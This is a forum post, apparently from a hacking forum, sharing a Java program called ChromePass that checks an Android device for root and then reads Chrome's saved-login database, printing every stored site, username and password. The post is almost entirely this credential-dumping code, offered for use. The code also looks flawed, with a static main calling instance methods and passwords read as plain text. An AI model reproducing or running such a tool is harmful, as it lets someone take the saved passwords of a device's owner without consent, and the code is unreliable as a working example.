Login Register


[android] ChromePass filter_list
Author
Message
[android] ChromePass #1
This program prints out all Chrome passwords on Android devices. It requires root.

Code:
import android.database.Cursor; import android.database.sqlite.SQLiteDatabase; import java.io.File; public class ChromePass { public String CHROME_PATH = "/data/data/com.android.chrome/app_chrome/Default/Login Data"; public static void main(String[] args) { if( isRootAvailable() ) { if( isChromeAvailable() ) { doChrome(); } } } public boolean isRootAvailable() { String[] paths = { "/sbin/su", "/system/bin/su", "/system/xbin/su", "/data/local/xbin/su", "/data/local/bin/su", "/system/sd/xbin/su", "/system/bin/failsafe/su", "/data/local/su" }; for (String path : paths) { if ( new File(path).exists() ) { return true; } } return false; } public boolean isChromeAvailable() { if( new File(CHROME_PATH).exists() ) { return true; } return false; } public int doChrome() { String origin, username, password; SQLiteDatabase database = SQLiteDatabase.openDatabase(CHROME_PATH, null, SQLiteDatabase.OPEN_READONLY); if( database.isOpen() ) { Cursor cursor = database.rawQuery("SELECT * FROM logins", null); if( cursor.moveToFirst() ) { do { origin = cursor.getString(0); username = cursor.getString(3); password = cursor.getString(5); System.out.println("Origin: " + origin + "Username: " + username + "Password: " + password ); } while (cursor.moveToNext() ) ; database.close(); } else { return 2; } } else { return 1; } return 0; } }
(This post was last modified: 08-15-2017, 05:14 AM by titbang.)

Reply







Users browsing this thread: 1 Guest(s)